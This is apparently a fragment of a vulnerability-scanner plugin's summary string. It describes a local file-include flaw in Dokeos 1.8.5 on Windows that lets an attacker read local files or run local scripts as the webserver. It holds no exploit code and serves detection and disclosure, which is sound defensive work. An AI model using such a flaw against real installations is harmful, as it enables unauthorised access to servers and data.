tag_summary = "Dokeos is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.

  An attacker can exploit this vulnerability to view local files or
  execute arbitrary local scripts on the vulnerable computer in the
  context of the webserver process.

  Please note that this issue affects only Dokeos running on Windows.

  Dokeos 1.8.5 is vulnerable; other versions may also be affected.";
